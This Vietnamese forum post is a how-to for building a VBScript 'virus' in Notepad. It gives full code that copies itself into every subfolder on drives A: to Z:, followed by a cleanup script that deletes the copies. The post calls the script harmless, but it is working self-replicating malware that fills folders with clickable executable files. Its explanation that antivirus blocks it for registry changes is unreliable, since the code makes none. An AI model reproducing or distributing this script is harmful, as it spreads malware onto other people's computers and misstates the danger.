-Không nên thử ở nhà đối với các bạn nào không rành về IT,script....
-Chương trình tự nhân bản tới tất cả các thư mục có trong máy tính
-Hoàn toàn vô hại.....chỉ nhân đôi mỗi folder thành 1 thằng *.vbs.....càng click vào nhiều folder càng thấy nhiều về hắn
tạo virus
B1: Mở Notepad
B2: Gõ đoạn code:
'Thuoc Doc !!!
Dim fso,file,VBCopy
Set fso=CreateObject("Scripting.FileSystemObject")
Set file=fso.OpenTextFile(WScript.ScriptFullName,1)
VBCopy=file.ReadAll
FolderList("A:")
FolderList("B:")
FolderList("C:")
FolderList("D:")
FolderList("E:")
FolderList("F:")
FolderList("G:")
FolderList("H:")
FolderList("I:")
FolderList("J:")
FolderList("K:")
FolderList("L:")
FolderList("M:")
FolderList("N:")
FolderList("O:")
FolderList("P:")
FolderList("Q:")
FolderList("R:")
FolderList("S:")
FolderList("T:")
FolderList("U:")
FolderList("V:")
FolderList("X:")
FolderList("Y:")
FolderList("Z:")
FolderList("W:")
Sub FolderList(FolderSpec)
On Error Resume Next
Dim f,f1,sf,COP,CAP
Set f=fso.GetFolder(FolderSpec)
set sf=f.SubFolders
For Each f1 In sf
Set COP=fso.CreateTextFile(f1.path & "\Virus !!!!!!!.vbs")
COP.write VBCopy
Set CAP=fso.CreateTextFile(f1.path & "---Virus !!!!!!!.vbs")
CAP.write VBCopy
FolderList(f1.Path)
Next
End sub
B3: Lưu lại với cú pháp :Thuoc Doc.vbs
B4:open file Thuoc Doc.vbs
-Hiệu quả thấy ngay
Để vô hiệu hoá virus
B1: Mở Notepad
B2: Gõ code:
'Thuoc Giai !!!
Dim fso,file,VBCopy
Set fso=CreateObject("Scripting.FileSystemObject")
Set file=fso.OpenTextFile(WScript.ScriptFullName,1)
VBCopy=file.ReadAll
FolderList("A:")
FolderList("B:")
FolderList("C:")
FolderList("D:")
FolderList("E:")
FolderList("F:")
FolderList("G:")
FolderList("H:")
FolderList("I:")
FolderList("J:")
FolderList("K:")
FolderList("L:")
FolderList("M:")
FolderList("N:")
FolderList("O:")
FolderList("P:")
FolderList("Q:")
FolderList("R:")
FolderList("S:")
FolderList("T:")
FolderList("U:")
FolderList("V:")
FolderList("X:")
FolderList("Y:")
FolderList("Z:")
FolderList("W:")
Sub FolderList(FolderSpec)
On Error Resume Next
Dim f,f1,sf,COP,CAP,ATT
Set f=fso.GetFolder(FolderSpec)
set sf=f.SubFolders For Each f1 In sf
'Set COP=fso.CreateTextFile(f1.path & "\Virus !!!!!!!.vbs")
'COP.write VBCopy
'Set CAP=fso.CreateTextFile(f1.path & "---Virus !!!!!!!.vbs")
'CAP.write VBCopy
'Set ATT=fso.GetFolder(f1.Path)
'ATT.Attributes=ATT.Attributes+2
fso.DeleteFile(f1.path & "\Virus !!!!!!!.vbs")
fso.DeleteFile(f1.path & "---Virus !!!!!!!.vbs")
FolderList(f1.Path)
Next
End sub
-B3:Lưu lại với cú pháp: Thuoc Giai.vbs
-B4:Chạy file Thuoc Giai.vbs để vô hiêu hóa chương trình
Nếu bạn xài anti-virus mạnh như: BKAV Pro,Kaspersky,Bit defender,AVG......thì có thể sẽ bị chặn ngay từ thao tác đầu tiên bởi chương trình tác động khá nhiều đến registry nên anti-virus có thể hiểu nhầm là virus
*khuyến cáo: không nên thử ở nhà.....thực hiện không đúng....không đọc kỹ hướng dẫn......sẽ có khả năng dẫn đến tình trạng vào folder nào cũng thấy mặt nó hết.....bực là chính....tác hại thì không có....
Tiêu đề: Tạo virus bằng notepad task 3 
4/5/2011, 1:24 pm
